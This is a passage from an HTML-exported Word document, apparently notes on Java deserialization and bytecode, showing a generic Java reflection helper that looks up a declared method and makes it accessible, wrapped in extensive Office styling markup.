style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>* @</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param methodName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param parameterTypes</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param parameters</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">throws InvocationTargetException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">throws IllegalArgumentException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">invokeMethod</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> methodName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> parameterTypes</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                      </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> parameters</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">throws</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">InvocationTargetException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Method</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> method </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredMethod</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> methodName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> parameterTypes</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">method </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">==</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">throw</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IllegalArgumentException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;Could not find method [&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> methodName </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;] on target [&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;]&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>method</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">setAccessible</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">true</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

